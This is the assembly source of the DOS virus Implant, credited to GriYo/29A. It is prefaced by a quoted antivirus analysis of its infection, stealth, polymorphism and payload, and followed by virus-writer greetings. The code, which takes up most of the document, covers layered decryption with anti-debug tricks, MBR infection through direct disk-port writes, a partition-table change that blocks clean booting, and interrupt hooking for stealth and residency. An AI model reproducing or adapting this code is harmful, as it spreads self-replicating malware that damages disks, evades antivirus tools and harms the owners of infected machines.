; jump chain (if present), and puts its code at the destination
; of the final jump - the virus code is such that it needs to
; leave only 35 bytes in the MBR! Implant next writes the
; MBR back to disk by direct manipulation of I/0 ports (this
; will make it compatible with IDE and MFM drives, but
; not SCSI).
;
; After the write attempt, the virus rereads the MBR and
; checks whether the checksum of what was read matches
; what was written. If not, the virus gives up, and passes
; control to the host program.
;
; Then the virus writes its body into 12 sectors on track 0
; starting at sector 4, right after the saved MBR. Implant does
; not forget to check whether there is sufficient space on
; track 0 - if there are fewer than 13 sectors before the start of
; an active partition, the virus will not infect the hard drive.
; nor modify anything on track 0.
;
; Implant does not recognize itself in the MBR. It just checks
; whether a resident copy is already present using its 'Are you
; there?' call. If it is not in memory, it loads the MBR and
; scans for an active partition. An already-infected MBR will
; not have this, so the infection will fail at this point - there is
; no risk of multiple infection.
;
; There are two main branches in the virus code. If the virus is
; run from a file (COM, EXE or SYS), control transfers to the
; host and nothing is left resident in memory. If, however, the
; virus is run from a boot sector (either that of a floppy or the
; hard disk's MBR), it seizes 7KB of DOS memory (by the
; familiar technique of reducing the word at memory offset
; [0:413h]), copies itself to the newly-created hole in memory
; just beneath the top of conventional memory, and intercepts
; some system interrupts.
;
; The method by which the virus infects the hard drive means
; that an MS-DOS system floppy cannot be used to clean-boot
; an Implant-infected PC. The circular extended partition will
; make MS-DOS v5 onwards, Novell DOS 7, and DR-DOS 6
; hang. Fortunately, it is still possible to use versions 3.30 or
; 4.0 of MS-DOS, or PC-DOS 5 and 6, which will boot
; without problem. After booting, however, drive C will still,
; of course, be inaccessible: attempts to access this drive will
; result in the error 'Invalid drive specification'.
;
;
; Booting the Infected System
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When booting, the virus hooks interrupts 12h (self-recogni-
; tion and stealth), 13h (disk I/0: for stealth and to infect
; floppies), and 1Ch (timer; to intercept DOS interrupts later
; on). All three are used to intercept Int 21 h: the virus can do
; this in three ways:
;
; - thirty seconds after the computer is booted (checked
; using Int 1Ch)
;
; - when an infected program is run: when such a proaram
; issues the 'Are you there?' Int 12h call (see above) the
; resident copy of a virus will immediately hook Int 21h
;
; - when a program attempts to write to disk using Int 13h
;
; The virus has specific knowledge of some versions of DOS.
; and tries to get the real DOS entry point by following the
; jumps and doing some checks. If an attempt to get the real
; entry point fails, the virus simply uses the one taken from
; the Interrupt Vector Table.
;
; When the virus has hooked Int 21h, it monitors the following
; DOS functions: 2Ah (Get date; used in a payload), 4B00h
; (Exec), 3Eh (Close), 43h (Attribute), 56h (Rename/Move),
; 4Ch (Terminate), 3Dh (Open), 6Ch (Open/Create). 11h/12h
; (Findfirst/Findnext FCB), 4Eh/4Fh (Findfirst/Findnext), 3Fh
; (Read), 4B01h (Load), 40h (Write), 5700h (Get timestamp),
; 5701h (Set timestamp). These functions are used to infect
; files and conceal infection (full stealth).
;
; During infection, the virus also intercepts Int 24h (Critical
; error handler) to suppress error messaaes.
;
;
; Infection of Files
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The virus infects files as they are run or opened. However, if
; any infected files are copied to diskette, the files on the
; diskette will be clean (despite the fact that the diskette's
; boot sector is infected) - Implant is 'full stealth'. Running
; the file from the floppy does not infect it either. How, then.
; are infected files passed between users?
;
; The first thing the virus checks when any program calls any
; monitored DOS function is the program's name, paying
; special attention to files named AR*.*, PK*.*. LH*.*, and
; BA*.* (archiving utilities, specifically, ARJ, PKZIP, LHA
; and BACKUP). This information is used to turn off stealth
; mode when any of these archivers is executed. Thus, the
; virus ensures all executable files are packed into archives
; and backups are infected, whether on floppy or hard disk.
;
; Further, it will not infect files called TB*.*, SC*.*, F-*.*,
; GU*.*, nor those containing the letters V, MO, IO, DO, IB
; or the digits 0-9. Thus the virus avoids a wide variety of
; anti-virus programs, DOS system files, and goat files used
; by virus researchers (which usually have digits in the name).
;
; Implant infects only files with the extensions COM, EXE
; and SYS. COM and SYS files longer than 52801 bytes are
; not infected. Files with time-stamps set to 62 seconds are
; assumed already infected - this is the virus' infection stamp.
;
; To check whether a file is an EXE file, the virus adds the
; first two bytes of the file (for an EXE file, 4D5A or 5A4D)
; together: if the sum is A7h (A7h=4Dh+5Ah), the file is
; assumed to have an EXE header. Simple and elegant.
;
; When resident, Implant denies access to files named
; CHKLIS*.*. These patterns match CHKLIST.MS or
; CHKLIST.CPS, and prevent Microsoft's and Central
; Point's scanners from working properly.
;
; If WIN.COM is executed, the virus adds a parameter ID:F to
; the program's command-line. This argument turns off
; Windows' 32-bit disk access, which enables infection of
; floppies accessed from within Windows. If TBSCAN is
; executed, the virus adds the command-line parameters 'co'
; and 'nm', which instruct the program to skip the memory
; cheek and not use direct disk access ('compatibility mode').
;
;
; Infection of Floppies
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The floppy disk boot sector is infected in much the same
; manner as the MBR. The virus follows the jump chain in the
; floppy boot sector and writes 35 bytes of its code there. The
; encrypted polymorphic virus body is placed on a floppy on
; an additional track (number 80) which it first formats. This
; track will have 13 sectors: the first will carry a copy of an
; original boot sector: the rest will be occupied by the
; encrypted virus body. To infect floppy disks, Implant uses
; Int 40h, which usually points to BIOS code.
;
; The virus infects only 1.2MB or 1.44MB floppies. It checks
; the total amount of sectors on the media (the word at offset
; 13h in the boot sector) and proceeds with infection only if
; the number of sectors is B40h or 960h (2880 or 2400,
; respectively). For self-recognition, the virus cheeks the two
; letters at offset 21 h from the last jump in the chain (if any):
; all infected floppies contain the marker 'CR' at this point.
;
; There is a bug in floppy infection: if the boot sector starts
; with a JMP (opcode E9h, not usual EBh), the virus code is
; inserted 1 byte lower than necessary. Still, the virus is able
; to work as the first instruction of its code is CLI, which
; takes just 1 byte and is not absolutely necessary.
;
;
; Polymorphic Engine
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Implant's polymorphic engine is very powerful. Suffice it to
; say that it supports subroutines, conditional jumps with non-
; zero displacement, and memory writes. This engine takes a
; good half of the virus' code.
;
; The engine makes extensive use of the table of random bytes,
; created during the initialization phase. The approach of
; using a table generated just once during the installation of
; the virus into memory classifies Implant as a slow polymor-
; phic. This means that the variety of the polymorphic
; decryptors is artificially limited until the next reboot of the
; PC. It poses some problems for anti-virus researchers, as it
; becomes difficult to create enough files infected in enough
; different ways to test detection.
;
; Files are encrypted in two layers: the first is polymorphic:
; the second is simple XOR encryption with a slightly
; variable decrylptor. Some attempts are made to prevent
; tracing the second decryptor, but no anti-emulation tricks
; are used.
;
;
; Stealth Properties
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Implant stealths its modifications to the MBR and FBR. The
; virus also does not allow writes to the sectors on track 0
; which are used by the MBR copy and the virus body
; (sectors 03h to 0Fh).
;
; If any of the programs ME*.*. CH*.*, SY*.*, SM*.* is run
; (these patterns appear to be intended to match MEM.
; CHKDSK. SYSINFO and SMAP) the virus spoofs the value
; returned by Int 12h (free RAM) by adding 7K to the real
; figure. Hence, the amount of memory is reported as it was
; before infection.
;
; The stealthing of infected files is more sophisticated than
; that of the MBR and floppy boot sector. Most modern
; stealth viruses do 'semi-stealth' (just the change in the file
; size is concealed). Implant, on the other hand, is full stealth,
; so when the virus is active. even integrity checking pro-
; grams will not report any file modifications.
;
; A common problem to all stealth viruses is how, to suppress
; error messagres from the CHKDSK utility. When run on a
; system infected with a stealth virus. CHKDSK reports
; allocation errors, because reported file sizes do not match
; their actual sizes (i.e. the reported size in bytes does not
; match the number of clusters in the file allocation table).
; Implant recognizes that CHKDSK.EXE (or a similar utility)
; is being run, and turns off its stealth routine whilst the disk
; check is performed.
;
; If there is any doubt as to whether or not a PC is infected by
; Implant, the easiest way to check is to create a file called
; CHKLIST. If there are problems accessing this file, the virus
; is almost certainly resident. To check if a particular execut-
; able is infected, it is probably easiest to pack the file into an
; archive and check whether the size inside is the same as
; outside. If not, the file is infected.
;
;
; Payload
; ÄÄÄÄÄÄÄ
; Implant's payload triggers on 4 June. after any program asks
; for the system date. The payload is buggy: it was apparently
; supposed to destroy the contents of track 0, rendering the
; system unusable, but the virus itself rejects the attempt to
; overwrite the infected MBR ! So, the destructive part of the
; payload does not work.
;
; After this unsuccessful attempt to zap itself, the virus slowly,
; types the following text in the middle of the screen (green
; letters on a black background, accompanied by a rattling,
; perhaps meant to resemble the noise of a typewriters):
;
;
; <<< SuckSexee Automated Intruder >>>
; Viral Implant Bio-Coded by GriYo/29A
;
;
; Then the PC freezes. After a reboot (until you chance the
; CMOS clock setting) the payload will eventually trigger
; agrain because some program, sooner or later, will try to get
; the system date - and the cycle will begin again...
;
;
; Summary
; ÄÄÄÄÄÄÄ
; Implant impressed me. It is definitely written by a talented
; person - it is a pity, his skills are used so destructively. I
; recently received another interesting virus (Gollum.7167)
; from the same author (carrying the signature 'GriYo/29A'):
; it spreads via infected standard DOS EXE files which drop a
; VxD in Windows'SYSTEM directory (called GOLLUM.386)
; and registers it in SYSTEM.INI. When Windows is started,
; the VxD becomes active and will infect DOS EXE files run
; in the DOS box. This virus again shows that GriYo uses
; approaches that are neither common nor trivial.
;
; I wonder if this is talent comparable to the Dark Avenger or
; the author of One Half? I sincerely hope such a gifted
; person will find better thing to do than write viruses.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; And finally...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Greetings go to the following generation:
;
; AúGuS & Company ............ SuckSexee people rulez
; Absolute Overlord .......... PolyMorphic OpCode GENerator
; Mister Sandman ............. Mississippi ruleeez, hahaha!
; All the 29Aers ............. 29A 3LiT3 ;)
;
; And all the replicants usually at #virus

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Let's have some fun! ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

.286
launcher segment para 'CODE'
assume cs:launcher,ds:launcher,es:launcher,ss:launcher
org 0000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Equates, equates, equates... ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

;Virus size in infections


inf_byte_size equ virus_data_buffer-virus_entry

;Virus infection size in parragraphs


inf_para_size equ (inf_byte_size+0Fh)/0010h

;Virus infection size in sectors


inf_sect_size equ (inf_byte_size+01FFh)/0200h

;Virus size in memory


mem_byte_size equ virus_end_buffer-virus_entry

;Virus size in memory in Kb


mem_kb_size equ (mem_byte_size+03FFh)/0400h

;Virus size in memory in parragraphs


mem_para_size equ (mem_byte_size+0Fh)/0010h

;Decryptor size in bytes


decryptor equ virus_body-virus_entry

;Second decryptor size in bytes


second_size equ second_body-virus_entry

;Boot code size in bytes


boot_size equ boot_end-boot_code

;File header size


file_header_size equ 1Ch

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus entry-point for all its targets ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
virus_entry:
;Space for decryptor or random data block
db 0400h dup (90h)
virus_body:
;Get delta offset stored on infection ( mov bp,xxxx )
db 0BDh
file_delta dw 0000h

;Save segment registers


push ds
push es

;Save bx ( pointer to parameter block when calling .sys )


push bx

;Setup segment regs


mov ax,cs
mov ds,ax
mov es,ax

avoid_decryptor:
;Avoid second decryptor on first virus generation
jmp short second_body

;Perform second decryption loop


mov cx,inf_byte_size-second_size+01h

;Get pointer to decryption zone and return address


lea ax,word ptr [second_body][bp]

;Save return address


push ax

;Load pointers
mov si,ax
mov di,ax

;Get decryption key


mov bl,byte ptr cs:[clave_crypt][bp]
second_loop:
;Decrypt one byte
cld
lodsb
sub al,bl

;Do shit with stack (will fool some emulators)


push ax
pop dx
cli
mov ax,0002h
sub sp,ax
sti
pop ax
cmp ax,dx
jne second_loop

;Store decrypted byte


cld
stosb

;Call to int 03h for anti debug


int 03h
;Modify key
inc bl

loop second_loop

;Clear prefetch
db 0EBh,00h
;Jump to decryption zone
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Start of double-encrypted area ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

second_body:
;Check cpu type (SuckSexee needs 286+)
mov al,02h
mov cl,21h
shr al,cl
or al,al
jz control_back

;Installation check
mov si,00BADh
mov di,0FACEh
xor cx,cx

;Check if running in mbr, floppy boot sector or .sys file


cmp word ptr ds:[exit_address][bp],offset exit_exe - \
offset host_ret
je exe_com_installation
cmp word ptr ds:[exit_address][bp],offset exit_com - \
offset host_ret
jne others_installation

exe_com_installation:

;This will advertise to the already resident virus that


;its time to hook int 21h if isnt hooked
mov cx,029Ah

others_installation:

;Installation check works with int 12h coz can be called


;from mbr or from files... and also coz id like number 12h
int 12h
cmp si,0DEADh
jne not_resident
cmp di,0BABEh
jne not_resident

control_back:
;Get control back to infected target
db 0EBh,00h
;Load offset of exit address into bx
db 0E9h
exit_address dw offset exit_launcher - offset host_ret

host_ret equ this byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect hd mbr ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
not_resident:

;Enable second decryption loop


mov word ptr [avoid_decryptor][bp],9090h

;Generate a block of random data over decryptor routine


;(that routine havent any use at this point so we can use
;its memory space)
;Polymorphic engine will use this data later for its
;slow mutation procedures
;This is better than other slow mutation engines i saw
;coz it produces several mutations of the virus on the
;same machine, but not enough mutations for
;analisys

mov di,bp
mov cx,decryptor
fill_rnd_1:
call random_number
cld
stosb
loop fill_rnd_1

;Reset disk controler


xor ah,ah
mov dx,0080h
int 13h

;Read mbr
mov ax,0201h
mov cx,0001h
lea bx,word ptr [virus_copy][bp]
int 13h
jnc ok_read_mbr
jmp go_memory

ok_read_mbr:
;Check for mbr marker
cmp word ptr ds:[bx+01FEh],0AA55h
jne no_mbr_infection

;Search active partition


lea si,word ptr [virus_copy+01BEh][bp]
mov cl,04h
search_active:
cmp byte ptr ds:[si],dl
je found_active
add si,10h
loop search_active

no_mbr_infection:

;Exit if no active partition found


;This is also the way on witch the virus marks
;infected mbr
jmp go_memory
found_active:

;Check partition type


mov al,byte ptr ds:[si+04h]

;Dos 16bit-fat?
cmp al,04h
je partition_type_ok

;Dos 4.0+ 32Mb?


cmp al,06h
je partition_type_ok

;Exit if virus cant handle such partition type


jmp go_memory

partition_type_ok:

;Check if enougth sectors before partition


cmp byte ptr ds:[si+08h],inf_sect_size+01h
jb go_memory

;Crypt original mbr


call crypt_sector

;Write original mbr for stealth


mov ax,0301h
mov cl,03h
int 13h
jc go_memory

;Restore sector
call crypt_sector

;By using this trick the computer cant be booted


;from a system floppy

;Set partition type as extended dos partition


mov byte ptr ds:[si+04h],05h

;Disable partition and set head to 00h


xor ax,ax
mov word ptr ds:[si],ax
inc ax

;Set partition starting at cilinder 00h sector 01h


mov word ptr ds:[si+02h],ax

;Save position of virus body in hd


;(side 00h track 00h sector 04h)
inc cl
mov word ptr ds:[load_cx][bp],cx

;Get position of code into mbr


call get_position

;Move virus loader over boot sector code


lea si,word ptr [boot_code][bp]
mov cx,boot_size
cld
rep movsb

;Write infected mbr


call hd_write_port

;Save exit address


push word ptr ds:[exit_address][bp]

;This will tell the virus that this is a mbr infection


mov word ptr ds:[exit_address][bp],offset exit_mbr - \
offset host_ret

;Clear dos running switch


sub ax,ax
mov byte ptr ds:[running_sw][bp],al

;Clear dos loaded flag


mov byte ptr ds:[dos_flag][bp],al

;Clear file infection flag


mov byte ptr ds:[file_infection_flag][bp],al

;Reset virus timer


mov word ptr ds:[virus_timer][bp],ax

;Set delta offset for mbr poly engine


mov word ptr ds:[file_delta][bp],7E00h

;Save pointer to polymorphic engine working buffer


mov word ptr ds:[poly_working_off][bp],bx
mov word ptr ds:[poly_working_seg][bp],es

;Perform encryption
call do_encrypt

;Write virus body


mov ax,0300h+inf_sect_size
mov cl,04h
int 13h

;Restore exit address


pop word ptr ds:[exit_address][bp]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Go memory resident if running from mbr or floppy boot sector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

go_memory:
;Running from hd mbr or floppy bs?
cmp word ptr cs:[exit_address][bp],offset exit_mbr - \
offset host_ret
jne running_in_file

;Allocate some bios memory


sub di,di
mov es,di
sub word ptr es:[0413h],mem_kb_size
mov ax,word ptr es:[0413h]

;Copy virus to allocated memory


mov cl,06h
shl ax,cl
mov es,ax
mov si,bp
mov cx,inf_byte_size
cld
rep movsb

;Hook ints
push es
pop ds
;Get int 12h vector
mov al,12h
call get_int

;Save old int 12h


mov word ptr ds:[old12h_off],bx
mov word ptr ds:[old12h_seg],es

;Hook int 12h


mov dx,offset my_int12h
call set_int

;Get int 13h vector


inc al
call get_int

;Save old int 13h


mov word ptr ds:[old13h_off],bx
mov word ptr ds:[old13h_seg],es

;Hook int 13h


mov dx,offset my_int13h
call set_int

;Get int 1Ch vector


mov al,1Ch
call get_int

;Save old int 1Ch


mov word ptr ds:[old1Ch_off],bx
mov word ptr ds:[old1Ch_seg],es

;Hook int 1Ch


mov dx,offset my_int1Ch
call set_int

;Get int 40h vector


mov al,40h
call get_int

;Save old int 40h


mov word ptr ds:[old40h_off],bx
mov word ptr ds:[old40h_seg],es

running_in_file:
;Return to boot sequence
jmp control_back

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from infected hd mbr or floppy boot sector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

exit_mbr:
;Get .sys parameter block pointer out of stack
pop bx
;Restore segment registers
pop es
pop ds

;Reboot system
int 19h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .sys infected files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

exit_sys:
;Point to old .sys header ( offset of strategy routine address )
lea si,word ptr [old_header+0006h][bp]
mov di,0006h
cld
lodsw
stosw

;Get .sys parameter block pointer


pop bx
;Restore segment registers
pop es
pop ds

;Get control back to strategy subroutine


push cs
push ax

;Clear some regs


xor ax,ax
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
retf

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .com infected files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

exit_com:
;Restore first three bytes
lea si,word ptr [old_header][bp]
mov di,0100h
mov cx,0003h
cld
rep movsb

;Get .sys parameter block pointer


pop bx
;Restore segment registers
pop es
pop ds

;Get control back to host


push cs
push 0100h

;Clear some regs


xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
retf

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .exe infected files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

exit_exe:
;Get .sys parameter block pointer
pop bx
;Restore segment registers
pop es
pop ds

;Get active psp


mov ah,62h
int 21h
add bx,10h
add word ptr cs:[exe_cs][bp],bx
;Restore stack
cli
add bx,word ptr cs:[old_header+0Eh][bp]
mov ss,bx
mov sp,word ptr cs:[old_header+10h][bp]
sti

;Clear some regs


xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
sti

;Clear prefetch
db 0EBh,00h
;Jump to original entry point
db 0EAh

exeret equ this byte

exe_ip dw 0000h
exe_cs dw 0000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit program if launcher execution ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

exit_launcher:
;Get .sys parameter block pointer
pop bx
;Restore segment registers
pop es
pop ds

;Use terminate program in droppers


mov ax,4C00h
int 21h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Write hard drive mbr using direct port access ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

hd_write_port:
;Save some reg
push cx
push dx
push si

;Get offset of write buffer


mov si,bx
call pause_some_ms

try_hd_port_again:

;Enable disk reset (FDC)


mov dx,03F6h
mov al,04h
out dx,al
call pause_some_ms
xor al,al
out dx,al
call pause_some_ms

;Send drive 00h and head 00h


mov dx,01F6h
mov al,0A0h
out dx,al
call pause_some_ms

;Prepare drive to write at cylinder 00h


mov dx,01F7h
mov al,10h
out dx,al
call wait_drive_ready

;Check for errors on drive operation


mov dx,01F1h
in al,dx
and al,68h
jnz try_hd_port_again
call wait_drive_ready

;Send number of sectors to write ( 01h sector )


mov dx,01F2h
mov al,01h
out dx,al
call pause_some_ms

;Send sector
mov dx,01F3h
mov al,01h
out dx,al
call pause_some_ms

;Send cylinder high


mov dx,01F4h
xor al,al
out dx,al
call pause_some_ms

;Send cylinder low


mov dx,01F5h
xor al,al
out dx,al
call pause_some_ms

;Send drive and head


mov dx,01F6h
mov al,0A0h
out dx,al
call pause_some_ms

;Send command (write sector without retry)


mov dx,01F7h
mov al,31h
out dx,al
call wait_seek_ready

;Send data to port ( 0100h words for 01h sector )


mov cx,0100h
mov dx,01F0h
cld
rep outsw
call wait_drive_ready

exit_mbr_infection:

;Restore regs and return


pop si
pop dx
pop cx
ret

wait_drive_ready:

;Check drive-ready flag


mov dx,01F7h
still_working:

in al,dx
test al,80h
jnz still_working
ret

wait_seek_ready:

call wait_drive_ready

;Check if seek operation complete


test al,08h
jz wait_seek_ready

ret

pause_some_ms: mov cx,0008h


void_loop: loop void_loop
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 1Ch handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

my_int1Ch:
;Do not use this handler if file infection is active
cmp byte ptr cs:[file_infection_flag],0FFh
je my1Ch_exit

;Inc virus timer counter


inc word ptr cs:[virus_timer]
;Check if time to hook dos
cmp word ptr cs:[virus_timer],0100h
jne not_time_for_dos

;Try to hook dos


call hook_dos
jmp short my1Ch_exit

not_time_for_dos:

;Check if time to start infecting files


cmp word ptr cs:[virus_timer],1000h
jne my1Ch_exit

;Set file infection flag and stop virus timer


mov byte ptr cs:[file_infection_flag],0FFh
my1Ch_exit:

;Get control back to old int 1Ch


jmp dword ptr cs:[old1Ch]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 12h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

my_int12h:
;Perform int call
pushf
call dword ptr cs:[old12h]

;Installation check
cmp si,00BADh
jne not_check_v
cmp di,0FACEh
jne not_check_v

;Check if call comes from infected .com or .exe files


cmp cx,029Ah
jne not_from_exe_com
call hook_dos

not_from_exe_com:

;Im here!!!
mov si,0DEADh
mov di,0BABEh
not_check_v:
iret

